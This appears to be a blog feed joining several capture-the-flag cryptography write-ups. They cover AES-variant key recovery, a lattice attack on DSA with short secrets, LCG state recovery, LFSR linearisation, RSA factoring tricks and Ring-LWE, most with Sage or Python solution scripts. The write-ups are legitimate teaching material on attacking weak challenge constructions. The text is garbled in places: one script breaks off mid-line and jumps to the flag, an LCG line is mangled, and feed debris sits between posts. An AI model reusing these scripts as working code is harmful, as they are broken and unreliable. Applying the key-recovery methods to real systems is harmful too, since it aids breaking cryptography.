$4 = 0xe83342dd

$ tail log
Breakpoint 1, 0x00000000004004e3 in main ()
$65789 = 0xf1dbf041

Breakpoint 1, 0x00000000004004e3 in main ()
$65790 = 0xdb9a21b8

Breakpoint 1, 0x00000000004004e3 in main ()
$65791 = 0xb02b5689
[Inferior 1 (process 10622) exited with code 027]
(gdb) quit

65791 values! Quite close to 65801 found in IDA. The hypothesis seems to be true. But what does it give us now?

Recovering key

What we have found is that we have $~2^{16}$ pairs of plaintext/ciphertext under the “scramble32” function. Let’s look at it closer:

__int64 __fastcall Oops::CryptoUtils::scramble32(
    Oops::CryptoUtils *this, unsigned int x, const char *key)
{
  int v3; // ST20_4@1
  int v4; // ST24_4@1
  int v5; // ST20_4@1

  v3 = AES_PRECOMP_TE3[(x ^ key[3])] ^
       AES_PRECOMP_TE2[(BYTE1(x) ^ key[2])] ^
       AES_PRECOMP_TE1[((x >> 16) ^ key[1])] ^
       AES_PRECOMP_TE0[(BYTE3(x) ^ *key)];
  v4 = AES_PRECOMP_TE3[(v3 ^ key[7])] ^
       AES_PRECOMP_TE2[(BYTE1(v3) ^ key[6])] ^
       AES_PRECOMP_TE1[((v3 >> 16) ^ key[5])] ^
       AES_PRECOMP_TE0[(BYTE3(v3) ^ key[4])];
  v5 = AES_PRECOMP_TE3[(v4 ^ key[11])] ^
       AES_PRECOMP_TE2[(BYTE1(v4) ^ key[10])] ^
       AES_PRECOMP_TE1[((v4 >> 16) ^ key[9])] ^
       AES_PRECOMP_TE0[(BYTE3(v4) ^ key[8])];
  return AES_PRECOMP_TE3[(v5 ^ key[15])] ^
         AES_PRECOMP_TE2[(BYTE1(v5) ^ key[14])] ^
         AES_PRECOMP_TE1[((v5 >> 16) ^ key[13])] ^
         AES_PRECOMP_TE0[(BYTE3(v5) ^ key[12])] ^
         ((key[2] << 8) | (key[1] << 16) | (*key << 24) | key[3]);
}

Interesting, it is related to the AES block cipher. The AES_PRECOMP_TE tables map 8-bit values to 32-bit values. Possibly these tables implement MixColumns, or even together with SBoxes and xors. Let's compose them with inverse of MixColumns (aes.py):

from aes import AES
A = AES()

for i in xrange(4):
    for x, t in enumerate(AES_PRECOMP_TE[i]):
        t = [BYTE3(t), BYTE2(t), BYTE1(t), BYTE0(t)]
        t2 = A.mixColumn(list(t), isInv=True)
        print t2
    print
$ python precomp.py
[99, 0, 0, 0]
[124, 0, 0, 0]
[119, 0, 0, 0]
[123, 0, 0, 0]
[242, 0, 0, 0]
[107, 0, 0, 0]
...

This is the AES SBox applied to one of the bytes! It means that

AES_PRECOMP_TE[i](x) = MixColumns(SBox(x) << 8*i).

Therefore scramble32 is a 4-round iteration of XorKey, SubBytes, MixColumn followed by another XorKey. How do we recover the key?

Recall that we know key[0], key[1], key[2] from a CRC32 check. We can guess one-byte key[3] and bypass the first round easily. Luckily, the last whitening key is the same as the first one: with the same guess we can decrypt the last round aswell! By moving the keys through the linear layers and decrypring the linear layers, we arrive at two rounds:

XK | SB | MC | XK | SB | XK.

Let's use impossible polytopes. Assume that we have three plaintexts of the form (it is probable that we have such among the $2^{16}$ texts by birthday paradox):

  • X1 = (x1, a, b, c)
  • X2 = (x2, a, b, c)
  • X3 = (x3, a, b, c)

We will study how a difference tuple (X1 $\oplus$ X2, X1 $\oplus$ X3) propagates through the cipher. Since it is a difference, it propagates through the key addition untouched. After SubBytes a set of possible difference tuples expands up to $2^8$ elements. Since MixColumn is linear, any difference (x, y) propagates to (MixColumn(x), MixColumn(y)). Therefore, before the last SubBytes layer, we have only $2^8$ possible differences, which can easily be precomputed. Thus, we can recover the last key byte-by-byte: guess byte of the key, decrypt through S-Box, check difference tuple (note that the middle XK does not affect it). We are truncating the differences of 32-bit values to differences of 8-bit values, but this is fine since we look at pairs of differences: $2^8$ possible pairs out of $2^{16}$ give us $1/2^8$ filtration for each key byte. By tracking the first guessed key byte, we can ensure that only the correct key survives.

The full attack implementation is available here.

Recovering Seed

We have recovered the key, but the flag is the PRNG seed! How to recover it? The code for stream generation is as follows:

// in Oops::CryptoUtils::encrypt(Oops::CryptoUtils *this, unsigned __int8 *dst, unsigned __int8 *nonce, unsigned __int8 *seed)
memset(dst, 0, 0x10uLL);
v5 = *(nonce_ + 1);
*buf = *nonce_;
*buf2 = v5;
for ( i = 0; i <= 15; ++i ) {
  seedbyte = seed_[i];
  for ( j = 0; j <= 7; ++j ) {
    if ( seedbyte & 1 ) {
      for ( k = 0; k <= 15; ++k )
        dst[k] ^= buf[k];
    }
    seedbyte = seedbyte >> 1;
    for ( l = 0; l <= 15; ++l )
      buf[l] = TABLE[buf[l]];
  }
}

Here TABLE is an 8-bit nonlinear S-Box. Nonce is constant and hardcoded (note that it is increased by 1 before calling encrypt, as a big-endian number, see Oops::CryptoUtils::inc_ctr):

// in  Oops::CryptoUtils::prng_seed(struct CryptoUtils *cryptoutils, __int64 a2)
noncebuf = cryptoutils->nonce;
*noncebuf = 0xD7C59B4DFFD1E010LL;
*(noncebuf + 1) = 0x20C7C17B250E019ALL;

Though TABLE is nonlinear, the buf array is updated independently and therefore we can see its different versions as constants. Mixing of buf and seed is done linearly, so we can recover the seed from the PRNG output (which is the AES key) by simple linear algebra:

from sage.all import *

from struct import pack, unpack

def tobin(x, n):
    return tuple(map(int, bin(x).lstrip("0b").rjust(n, "0")))

def frombin(v):
    return int("".join(map(str, v)), 2 )

def tobinvec(v):
    return sum( [tobin(c, 8) for c in v], () )

PRNG_OUT = [179, 197, 140, 9, 31, 61, 9, 48, 214, 74, 172, 159, 200, 11, 185, 236]

TABLE = [0x0ED,0x67,0x7F,0x0F6,0x0C7,0x9A,0x24,0x12,0x0BA,0x83,0x49,0x0DB,0x13,0x0BF,0x61,0x0B0,0x0FF,0x69,0x80,0x0EC,0x0DE,0x4,0x63,0x0C4,0x96,0x73,0x1B,0x6E,0x0A6,0x9E,0x87,0x4B,0x0FC,0x10,0x2A,0x0C3,0x5C,0x2E,0x36,0x0B2,0x0DF,0x0E3,0x90,0x0FE,0x1A,0x0F,0x1C,0x84,0x1,0x15,0x3A,0x85,0x0A5,0x57,0x3F,0x6D,0x0F5,0x4A,0x0A,0x0D6,0x9F,0x64,0x0B5,0x0F7,0x8F,0x99,0x68,0x4D,0x17,0x0F9,0x0EE,0x0F0,0x3,0x6,0x4C,0x0BD,0x58,0x33,0x0A9,0x0DC,0x3C,0x0A3,0x3B,0x0D1,0x0BB,0x28,0x0F4,0x0B9,0x0CF,0x47,0x0A0,0x6A,0x0C2,0x19,0x0B,0x97,0x81,0x35,0x91,0x7C,0x5D,0x7A,0x48,0x2B,0x41,0x0D9,0x0CB,0x6F,0x56,0x8D,0x5A,0x0C5,0x3E,0x0D8,0x0C0,0x60,0x1F,0x9,0x0CA,0x7B,0x25,0x0E7,0x0AE,0x0F2,0x77,0x0FA,0x3D,0x50,0x0E2,0x4F,0x0C9,0x2C,0x53,0x45,0x0C1,0x0E9,0x46,0x0D,0x70,0x8A,0x0A1,0x0D5,0x94,0x92,0x88,0x95,0x9D,0x26,0x9B,0x0E4,0x5,0x44,0x11,0x2D,0x7,0x1E,0x0A4,0x38,0x0E1,0x0A8,0x52,0x89,0x0AF,0x40,0x72,0x0E5,0x0B4,0x7E,0x51,0x6C,0x0FB,0x76,0x62,0x0D4,0x8,0x9C,0x54,0x5B,0x75,0x29,0x0C6,0x66,0x0DA,0x0FD,0x14,0x86,0x78,0x16,0x0B6,0x8B,0x39,0x0E6,0x0B7,0x1D,0x0D3,0x18,0x0A7,0x30,0x0E8,0x23,0x37,0x7D,0x82,0x0BE,0x34,0x0C,0x55,0x0D0,0x0EF,0x0,0x0CD,0x0AC,0x0A2,0x4E,0x0B3,0x0AB,0x31,0x8E,0x21,0x0E0,0x22,0x74,0x5E,0x8C,0x32,0x0F8,0x0EB,0x2F,0x79,0x0F1,0x42,0x0C8,0x0DD,0x0CE,0x65,0x27,0x5F,0x20,0x0B8,0x0AA,0x0AD,0x71,0x6B,0x0D2,0x0EA,0x0BC,0x0E,0x0CC,0x98,0x2,0x59,0x43,0x0B1,0x93,0x0D7,0x0F3,]

# note 0x20... -> 0x21
nonce = pack("

The flag is: flag{B0s5x1AOb3At0bF~}

Google CTF 2017 Quals – Crypto writeups

Google CTF 2017 Quals – BLT (Bleichenbacher’s Lattice Task – Insanity Check)

$
0
0

A slow descent into the dark, into madness, futility, and despair.

BLT.jar (not necessary)
STDOUT
Flag.java

Summary: DSA with short secrets, lattice + meet-in-the-middle attack.

In this challenge we are given a jar file, a java source code and an output file. Jar file contains several pictures, heavily hinting to lattices (and maybe to something else?). As we will see, Flag.java and STDOUT are enough to solve the challenge.

The java program performs a DSA signature with random private and ephemeral keys. The output is given and our goal is to recover the private key. The scheme indeed looks like proper DSA and is hard to break. However, if you run the program with random parameters, you can notice that the private keys generated are much smaller than they should be. At first I thought the Flag.class file was backdoored, but it turned out to be a quite funny bug in the java code. Consider the random generating function:

// Generate a random integer in the range 1 .. q-1.
private static BigInteger generateSecret(BigInteger q) {
  // Get the number of bits of q.
  int qBits = q.bitCount();

  SecureRandom rand = new SecureRandom();
  while (true) {
    BigInteger x = new BigInteger(qBits, rand);
    if (x.compareTo(BigInteger.ZERO) == 1 && x.compareTo(q) == -1) {
      return x;
    }
  }
}

Seems legit? Until you read that the BigInteger.bitCount method actually returns the Hamming Weight, not the bit size of the number! The Hamming Weight of a random prime is twice as smaller: $q$ is 256 bits and the secret keys will be roughly of size 128. This would be relatively easy, so the author decided to use $q$ with Hamming Weight 150!

Here are details of the scheme:

  • $p$ is 2048-bit prime, $g$ is an element of order $q$ mod $p$ ($q$ is 256-bit prime).
  • $x$ is a 256-bit private key, $y=g^x \mod p$ is a 2048-bit public key.
  • To sign a message $m$:
    • generate an ephemeral 256-bit key $k$;
    • compute $r = g^k \mod p \mod q$;
    • compute $s = (h(m) + xr)/k \mod q$;
    • $(r,s)$ is the signature.

The unknowns are $x$ and $k$. Due to the bug/backdoor, they are of size 150 bits instead of 256. In such cases the lattices come to mind, since they are often used to find small solutions to various equations.

One interesting equation we have is

$$sk \equiv h(m) + xr \pmod{q}.$$

The following I found in some paper about attacking DSA but currently I lost the paper. Let’s make the equation monic in one variable:

$$k – h(m)/s – xr/s \equiv 0 \pmod{q}.$$

$$k + B + Ax \equiv 0 \pmod{q}.$$

Assume that we know bounds on $x$ and $k$, $X$ and $K$ respectively. Then we can build the following lattice (the basis vectors are rows):

$$
\begin{pmatrix}
q & 0 & 0 \\
0 & qX & 0 \\
B & AX & K \\
\end{pmatrix}
$$

Basically we encode the equation and add two additional vectors to encode modular reductions. If $XK < q - \epsilon$ then the $LLL$-reduced basis of this lattice will contain two linear equations holding over integers with roots $x$ and $k$. Unfortunately, the secrets are 150 bits instead of 128 so the bound does not hold. We can try to guess some higher bits and run the LLL attack each time, but we need to guess roughly $300-256=44$ bits which is too much.

It is easy to get some solution within the bounds. There are roughly $2^{44}$ of them and we actually need to check all of them! One check can be to verify $x$ against the public key $y = g^x \mod p$. Another way is to use $h(x)$ given in STDOUT, which is probably faster, but still too slow.

Let’s think how to generate all solutions for the given bounds once we have some solution. If $k_0 + B + Ax_0 \equiv 0$, then we want to find small $\Delta_k, \Delta_x$ such that

$$(k_0 + \Delta_k) + B + A(x_0 + \Delta_x) \equiv 0 \pmod{q}.$$

$$\Rightarrow \Delta_k + A\Delta_x \equiv 0 \pmod{q}.$$

Consider the lattice:

$$
\begin{pmatrix}
1 & -A \\
0 & q \\
\end{pmatrix}
$$

The vectors in the lattices are all possible pairs $(\Delta_x,\Delta_k)$. Moreover, the LLL-reduced basis will contain small and somewhat orthogonal vectors $(\Delta_x^{(0)}, \Delta_k^{(0)})$ and $(\Delta_x^{(1)}, \Delta_k^{(1)})$. By adding small multiplies of these vectors to $(x_0,k_0)$ we can find almost all solutions up to the bound. Note that we are interested mostly only in the $x$ coordinate. The solutions have $x$ of the following form:

$$x = x_0 + i \Delta_x^{(0)} + j \Delta_x^{(1)}$$

where $i,j$ are relatively small integers (up to few millions in our case). It is too much to check… But can we use other equations? At a first glance, they are exponential and it is hard to use them here in a way other then simply verifying $x$ or $k$. However, it is actually easy: we can split search on $i$ and $j$ by using the equation $y = g^x \mod p$. This is similar to Meet-In-The-Middle / Baby-Step-Giant-Step attacks. First, we precompute a table for all $j$: $\{ yg^{-j \Delta_x^{(1)}} \mapsto j\}$ . Then we check for all $i$ if $g^{x_0 + i \Delta_x^{(0)}}$ is in the table. When we find it, we can easily compute $x$ from $i$ and $j$!

Here is full sage code, it finds the flag in a few minutes:

from sage.all import *

Y = 4675975961034321318962575265110114310875697301524971406479091223605006115642041321079605682629390144148862285125353335575850114862081357772478008490889403608973023515499959473374820321940514939155187478991555363073408293339373770407404120884229693036839637631846964085605936966005664594330150750220123106270473482589454510979171010750141467635389981140248292523060541588378749922037870081811431605806877184957731660006793364727129226828277168254826229733536459158767652636094988369367622055662565355698632032334469812735980006733267919815359221578068741143213061033728991446898051375393719722707555958912382769606279
P = 32163437489387646882545837937802838313337646833974044466731567532754579958012875893665844191303548189492604123505522382770478442837553069890471993483164949504735527438665048438808440494922021062011062567528480025060283867381823427214512155583444236623145440836252289902783715682554658231606320310129833109191138313801289027627739243726679212643242494506530838323607821437997048235272405577079630284307474612832155381483129670050964475785090109743586694668757059662450206919471125303517989042945192886030308203029077484932328302318567286732217365609075794327329327141979774234522455646843538377559711464098301949684161
Q = 81090202316656819994650163122592145880088893063907447574390172288558447451623
H = 88030618649759997479497646248126770071813905558516408828543254210959719582166
R = 34644971883866574753209424578777685962679178432833890467656897732184789528635
S = 19288448359668464692653054736434794709227686774726460500150496018082350808676
G = pow(2, int(P//Q), P)

A = (-R) * inverse_mod(S, Q) % Q
B = (-H) * inverse_mod(S, Q) % Q

while 1:
    XB = 125
    KB = 125-16
    X = 2**XB
    K = 2**KB
    khigh = randint(0, 2**16)
    Bnew = B + khigh * 2**KB

    m = matrix(ZZ, 3, 3, [
        Q,    0,      0,
        0,    Q * X,  0,
        Bnew, A * X,  K
    ]).LLL()

    mat = []
    target = []
    for row in m[:2]:
        const, cx, ck = row
        assert cx % X == 0 and ck % K == 0
        mat.append([cx / X, ck / K])
        target.append(-const)

    mat = matrix(ZZ, mat)
    try:
        x0, k0 = mat.solve_right(vector(ZZ, target))
        if int(x0) != x0 or int(k0) != k0:
            continue
    except ValueError:
        continue
    x0, k0 = int(x0), int(k0)

    assert (A * x0 + k0 + Bnew) % Q == 0
    k0 += khigh * 2**KB
    assert (A * x0 + k0 + B) % Q == 0

    print "SOLUTION", x0, k0
    print "SIZE %.02f %.02f" % (RR(log(abs(x0), 2)), RR(log(abs(k0), 2)))
    break


BOUND1 = 10**7
BOUND2 = 10**7

MZ = matrix(ZZ, 2, 2, [
    [1, -A],
    [0, Q],
]).LLL()

DX1 = abs(MZ[0][0])
DX2 = abs(MZ[1][0])

print "STEP1"
table = {}
step = pow(G, DX2, P)
curg = Y * inverse_mod( int(pow(step, BOUND1, P)), P ) % P
cure = -BOUND1
for i in xrange(-BOUND1, BOUND1):
    if i % 100000 == 0:
        print i / 100000, "/", BOUND1 / 100000
    assert curg not in table
    table[curg] = cure
    curg = (curg * step) % P
    cure += 1
print

print "STEP2"
step = pow(G, DX1, P)
curg = pow(G, x0 - DX1 * BOUND2, P)
cure = -BOUND2
for i in xrange(-BOUND2, BOUND2):
    if i % 100000 == 0:
        print i / 100000, "/", BOUND2 / 100000
    if curg in table:
        print "Solved!", cure, table[curg]
        ans = x0 + cure * DX1 - table[curg] * DX2
        print "Flag: CTF{%d}" % ans
        break
    curg = (curg * step) % P
    cure += 1

The flag: CTF{848525996645405165419773118980458599114509814}


Polictf 2017 – Lucky Consecutive Guessing (Crypto)

$
0
0

We implemented a random number generator. We’ve heard that rand()’s 32 bit seeds can be easily cracked, so we stayed on the safe side.

nc lucky.chall.polictf.it 31337

chall.py

Summary: breaking truncated-to-MSB LCG with top-down bit-by-bit search.

In this challenge we have an LCG generator. We can query it up to 10 times and then we have to predict the correct value more than 100 times. So we have to recover the state from the 10 outputs.

self.a = 0x66e158441b6995
self.b = 0xB
self.nbits = 85    # should be enough to prevent bruteforcing

def nextint(self):
    self.state = ((self.a * self.state) + self.b) % (1 << self.nbits)
    return self.state >> (self.nbits - 32)

Interesting that the modulus is $2^{85}$ and this is a weak point: the diffusion between different bits is limited. More precisely, high bits will never affect low bits. But the problem is that the LCG outputs $32$ highest bits, and these bits depend both on low and high bits.

At the beginning we have no information about the state at all. After one output we know $32$ bits of the state. So, it is better to start attacking the second output and the effective unknown state size is $53$ bits.

Let’s analyze how the two parts of the state interact. To do this, we represent states and coefficients in the form

$$s=2^{53}s_1+s_0, ~\text{where}~ s_0 < 2^{53}.$$ That is, $s_1$ are the $32$ highest bits of $s$, $s_0$ are the $53$ lowest bits of $s$. Consider the step: $$ \begin{align} s' &= (a \cdot s+b) \mod{2^{85}} = \\ &= \bigg((2^{53}a_1 + a_0) (2^{53}s_1 + s_0) + b\bigg) \mod {2^{85}} \\ &= 2^{53}\bigg(s_1a_0 + s_0a_1 + \bigg\lfloor \frac{s_0a_0+b}{2^{53}} \bigg\rfloor\bigg ) \mod{2^{85}} + (s_0a_0+b) \mod{2^{53}}. \end{align} $$ Note that we observe the high part: $$out = \bigg(s_1a_0 + s_0a_1 + \bigg\lfloor \frac{s_0a_0+b}{2^{53}} \bigg\rfloor \bigg) \mod{2^{32}}.$$ We know $s_1a_0$. Note that in the challenge $a=\mathtt{0x66e158441b6995}$ with $a_1=3, a_0=\mathtt{0x6e158441b6995}$. Due to small $a_1$, the highest bits of $s_0a_1$ do not depend strongly on the lowest bits of $s_0$. Moreover, this is true in the floored fraction as well. To analyze this properly, let's split $s_0$ as $$s_0 = 2^t h+l, ~\text{for}~ l < 2^t ~\text{and some}~ t.$$ From now on we consider everything $\mod{2^{32}}$. The idea is that $h$ are some highest bits of $s_0$. We guess them and then we will try to check our guess. $$out - s_1a_0 = (2^th+l)a_1 + \bigg\lfloor \frac{(2^th+l)a_0+b}{2^{53}} \bigg\rfloor.$$ Note that in the challenge $b=11$ and it very rarely affects the flooring, so we can omit it. We can also split the fraction into two summands and the result will decrease by at most one: $$out - s_1a_0 = 2^th\cdot a_1+l\cdot a_1 + \bigg\lfloor \frac{2^th\cdot a_0}{2^{53}} \bigg\rfloor + \bigg\lfloor \frac{l\cdot a_0}{2^{53}} \bigg\rfloor \stackrel{?}{+} 1.$$ $$out - s_1a_0 - 2^th\cdot a_1 - \bigg\lfloor \frac{2^th\cdot a_0}{2^{53}} \bigg\rfloor = l\cdot a_1 + \bigg\lfloor \frac{l\cdot a_0}{2^{53}} \bigg\rfloor \stackrel{?}{+} 1.$$ Note that $a_0 < 2^{53}$ and also recall that $a_1 = 3$: $$out - s_1a_0 - 2^th\cdot a_1 - \bigg\lfloor \frac{2^th\cdot a_0}{2^{53}} \bigg\rfloor \le l\cdot (a_1+1) < 2^t\cdot4.$$ Once we guess $h$ for small enough $t$, we can compute the left part of this inequality and check the bound. Note that we must be careful with modulo $2^{32}$. Since the right half is smaller than the modulus, we can compute the left half modulo $2^{32}$ and check the inequality.

What $t$ should we choose? Since the left half is bounded by $2^{32}$, we want the right half to be restrictive. For example, $t=29$ has filtering power of around $1/2$. To get to $t=29$ we need to bruteforce $53-29=24$ highest bits of $s_0$. After that the number of candidates will decrease quickly.

With $pypy$ this quite short solution works for ~2 minutes which is longer than allowed by the challenge, but if we try just a few times we have high chances to recover the state in the allowed timespan.

gist

#-*- coding:utf-8 -*-

import random

class LinearCongruentialGenerator:
    def __init__(self, a, b, nbits):
        self.a = a
        self.b = b
        self.nbits = nbits
        self.state = random.randint(0, 1 << nbits)

    def nextint(self):
        self.state = ((self.a * self.state) + self.b) % (1 << self.nbits)
        return self.state >> (self.nbits - 32)

def split(x):
    return ((x >> 53) % 2**32, x % 2**53 )

MASK32 = 2**32-1
MASK53 = 2**53-1
MASK85 = 2**85-1

a = 0x66e158441b6995
b = 0xB
a1, a0 = split(a)

generator = LinearCongruentialGenerator(a, b, 85)

n1 = generator.nextint()
SECRET_STATE1 = generator.state
n2 = generator.nextint()
n3 = generator.nextint()

def recurse(h, t):
    if t == 0:
        # Final check of the candidate
        s = (s1 << 53) | h
        s = (a*s + b) & MASK85
        if s >> 53 != n2:
            return
        s = (a*s + b) & MASK85
        if s >> 53 != n3:
            return
        print "CORRECT!", h
        return h

    t -= 1
    h <<= 1
    for bit in xrange(2):
        h |= bit

        # delta = val - ( 2**t*h*a1 + 2**t*h*a0/2**53 ) % 2**32
        delta = val - ( (h+h+h<>53) )
        delta &= MASK32
        if delta < 4*2**t:
            res = recurse(h, t)
            if res:
                return res

# s1, s0 = split(SECRET_STATE1)

s1 = n1
out = n2
val = (out - s1*a0) % 2**32

for top in xrange(2**24):
    if top & 0xffff == 0:
        print hex(top)
    # top = s0 >> 29
    s0 = recurse(top, 29)
    if s0:
        print "Found solution!", s0
        break

mygen = LinearCongruentialGenerator(a, b, 85)
mygen.state = (s1 << 53) | s0
assert mygen.nextint() == n2
assert mygen.nextint() == n3
for i in xrange(1000):
    assert mygen.nextint() == generator.nextint()
print "Outputs predicted correctly"

The flag: flag{LCG_1s_m0re_brok3n_th4n_you_th!nk}

UPD: Thanks to Niklas for pointing out that this can be solved straightforwardly by Mathematica.

TWCTF 2017 – Solutions for BabyPinhole, Liar’s Trap, Palindrome Pairs Challenge

Midnight CTF 2018 Finals – Snurre128

$
0
0

In this challenge we have a stream cipher based on LFSR and nonlinear filtering function. It has 128-bit LFSR secret state and we are also given 1600 keystream bits. Our goal is simply to recover the key which is the initial state. Here is the nonlinear filtering function:

f(v) =
v[0] ^ v[1] ^ v[2] ^ v[31] ^ 
v[1]&v[2]&v[3]&v[64]&v[123] ^ 
v[25]&v[31]&v[32]&v[126]

We can see that the two nonlinear terms are products of 4 and 5 variables. With high probability these terms are equal to zero and the filtering function becomes linear. More precisely, define

L(v) = v[0] ^ v[1] ^ v[2] ^ v[31]

Then the probability $p$ that $f(v) = L(v)$ equals to $15/16 \times 31/32 + 1/16 \times 1/32 = 233/256$. Moreover, for 128 keystream bits the approximation can be expected to hold with probability $p^{128} \approx 2^{-17.384}$ or roughly $1/171000$. That is, if we sample 128 keystream bits roughly 171000 times we can expect that once they all are filtered using the linear function $L$. Then we can solve the (noiseless) linear system and recover the key. We can sample bits from the 1600-bit keystream since we expect that roughly $233/256\times 1600$ of them are filtered using the linear function and we will succeed once we choose 128 bits out of them. We just need to know the linear function that maps the original key to each of output keystream bits (i.e. repeated LFSR step and linear filtering). This can be done simply by running Snurre with linear filtering function on keys with single bit set (i.e. basis vectors) and putting the resulting streams into columns of a matrix.

The solution may take some time, e.g. around 1 hour on a common laptop. But it can be easily parallelized simply by running multiple instances.

Solution code in Sage

The problem of solving noisy linear equations is called Learning Parity with Noise (LPN). There are various methods for approaching it. A good recent paper on this topic is “LPN Decoded” by Esser et al. For example, the described above method is called Pooled Gauss in the paper.

1st Crypto CTF 2019 – Least Solved Challenges

$
0
0

Brief solution ideas to the least solved Crypto CTF challenges.

Midnight Moon

We can see that the primes are generated as follows. Let $m$ be the right half of the flag (as an integer) and $l$ be its byte length. We repeat the transformation $m \mapsto ((m+1)\cdot l)\oplus l$ until $m$ is prime. This is the first prime $p$. Then we set $m = (2m+1)$ and repeat the first transformation until we get another prime. As a result, the second prime $q$ is approximately equal to $2 l^e p$, where $e$ is the number of iterations in the last process. We can guess $e$ and $l$ (note that $e$ is upper bounded by $log_l n$) and then apply the Fermat factorization method to the number $2 l^e n = 2 l^e p q$. It should work since $2 l^e p \approx q$. Since $e$ can vary a lot, we can only hope that the approximation is good enough. However, there is a little subtlety with the Fermat method. It works only if both close factors have the same parity, which is not the case: $2l^e p$ is even and $q$ is odd. This of course can be easily overcome by multiplying the number by $4$, which corresponds to multiplying both close factors by 2.

In the challenge the modulus can be factored with $l=27$ and $e=442$. The next step is to guess the number of applications of the transformation $m \mapsto ((m+1)\cdot l)\oplus l$ when going from initial $m$ to the first prime $p$. After trivial inversion of the transformation, we obtain the right half of the flag: “4D3_1n__m1dNi9hT_witH_L0v3!}”. We could study the encryption function to decrypt the first half, but we can already guess the whole flag: “CCTF{M4D3_1n__m1dNi9hT_witH_L0v3!}”, which is correct.

Starving Parrot

The primes are generated by taking two random values and applying some fixed unknown polynomial to them. Once the two values are primes, the process is finished. Since we have access to the polynomial, we can easily recover it, for example by putting 10000000000000000000000000000000 as input we can clearly see the output 100…003700..002019. The polynomial is trivially deduced: $x^{13} + 37x+2019$. It follows that
$$n = (r^{13} + 37r+2019) \cdot (s^{13} + 37s+2019)$$
for some $r,s$ of size roughly 55 bits. Observe that $\sqrt[13]{n}$ provides a good approximation of $rs$. In fact, in the given setting $\lfloor \sqrt[13]{n} \rfloor = rs$. This number has 108 bits and can be easily factored:
$$\begin{multline*}251970989651144357978582196759904 = 2^5 \cdot 11 \cdot 13^2 \cdot 61 \cdot 239 \cdot 491\cdot\\ \cdot 3433 \cdot 137383 \cdot 1254599604823.\end{multline*}$$
This number has 2304 divisors in total. Each divisor gives a candidate for $r$ and its complement is a candidate for $s$. By applying the polynomial to them, we can obtain potential prime factors and check if they result in the same modulus. In the challenge we obtain
$$\begin{align*}r &= 30132816491977336,\\ s &= 15416171199104228.\end{align*}$$
Given the factorization, we can easily decrypt the message (don’t forget to invert the operations applied to the message before squaring):

“CCTF{it5____Williams____ImprOv3d_M2_Crypt0yst3m!!!}”.

Oliver Twist

We can recognize the (twisted) Edwards curve addition formulas:
$$\begin{align*}
x_3 &\equiv (x_1 y_2 + y_1 x_2) / (1 + d  x_1 x_2 y_1 y_2)\pmod{p},\\
y_3 &\equiv (y_1 y_2 – a x_1 x_2) / (1 – d x_1 x_2 y_1 y_2) \pmod{p}.
\end{align*}$$
In our case $a=3$ and $d=2$. You can learn a bit about twisted Edwards curves for example from slides by Christiane Peters. We are given $y$-coordinate of a point that was generated from the flag in a particular way. In order to find the $x$ coordinate, we have to plug the $y$ coordinate into the curve equation and solve for $x$:
$$3x^2 + y^2 – 2x^2y^2-1\equiv 0 \pmod{p}.$$
This is a quadratic equation in $x$ and we can easily find both roots. One of them is significantly smaller than $p$, so we can assume that this is the one we are looking for. This point $(x,y)$ is obtained from doubling the point $(m’, y)$ $(m’ \mod 3)$ times, where $m’$ is generated from the flag. Since we found a small $x$, we can guess that $m’ \mod 3 = 0$ and no squarings occured and that $x = m’$. Now, $m’$ is generated from the flag $m$ by adding $\sum_{i=1}^t 2^i + 3i$ to it for some small integer $t \ge 313$. We guess $t$ and subtract the added terms. We obtain for $t=313$ the flag:

“CCTF{N3w_But_3a5Y_Twisted_Edwards_curv3_Crypt0sys7em}”.

 

PwnThyBytes CTF 2019 – Wrong Ring (Crypto)

$
0
0

Is post quantum cryptography too complex for you?

wrong_ring.sage

Summary: Ring-LWE with small error, hidden under a number field

Let us look at the main part:

prime = 1487
degree = 256
q = x^256 + prime - 1
N = PolynomialRing(RationalField(100)).quo(q)
roots = q.roots(CC) # in particular order
for i in range(nr_samples):
  a = random_vector_mod(prime, degree)
  a_coeff = vec2poly(a)
  
  a_canonical = coeff_to_canonical(a_coeff, roots)
  out.write('a_'+str(i)+' is '+str(a_canonical)+'\n')

  err_coeff = generate_error(sigma, prime, degree)
  b_coeff_interm = N(a_coeff * sec_coeff + err_coeff)
  b_coeff = 0
  for j in range(degree):
    b_coeff = b_coeff + \
      x^j*reduction_mod(b_coeff_interm.list()[j],prime)
  
  b_canonical = coeff_to_canonical(b_coeff, roots)
  out.write('b_'+str(i)+' is '+str(b_canonical)+'\n')

Let $p = 1487$. Note that $a(x)$ and $s(x)$ are polynomials over $GF(p)$. However, the error polynomial $e(x)$ (given by err_coef) has real coefficients. Moreover, the function coeff_to_canonical evaluates its polynomial argument at the complex roots of the ring-defining polynomial $q(x)$. We are given 8 samples of $a(x)$ and $b(x)$ given in this form.

The high-level setting is basically a Ring-LWE scheme. The ring is $GF(p)[x]/(x^{256}-1)$), that is, polynomials are reduced by the rule $x^{256}=1$ and coefficients are reduced modulo $p$. This is very intuitive: multiplying a polynomial by $x$ simply rotates its vector of coefficients to the left.

$s(x)$ is a secret polynomial in the ring: after recovering it we can decrypt the jpeg image and read the flag. We get 8 samples of the form $a_i,b_i$, such that $b_i(x) = a_i(x)s(x)+e_i(x)$, where $a_i(x)$ is a random polynomial over $GF(p)$ and $e_i(x)$ is a vector with ‘small’ but also fractional coefficients.

Recall that we don’t get exactly the coefficients of $a_i, b_i$. Instead, we get evaluations of these polynomials at the complex roots of the polynomial $q(x)=x^{256}+p-1$, which are represented as high-precision float numbers. However, we can recover the polynomials rather precisely using the interpolation. Note that the matrix Sigma defined in the code corresponds exactly to evaluation of a polynomial on the aforementioned roots. Therefore, its inverse matrix Sigma_inv corresponds exactly to the interpolation with respect to those roots. Therefore, we can recover the polynomials $a_i(x),b_i(x)$ by multiplying the generated vectors by Sigma_inv. The precision is enough to recover $a_i$ precisely, since it has integer coefficients (i.e., we simply round the coefficients to nearest integers). However, due to the added error, $b_i(x)$ is not integral and we have to look at the magnitute of the error polynomial $e(x)$, which is generated in a very special way.

def generate_error(sigma, prime, degree):
    D = RealDistribution('gaussian',sigma)
    error = []
    for i in range(degree):
        error.append(D.get_random_element())
        error = vector(error).column()
    # U = 1//sqrt(2) * matrix([[1, i], [1, -i]])
    error_canonical = U * error
    error_coeff = []
    error_coeff_interm = Sigma_Inv * error_canonical
    for i in rang
        error_coeff += [error_coeff_interm[i][0].real()]
    error_coeff = vec2poly(error_coeff)
    return error_coeff

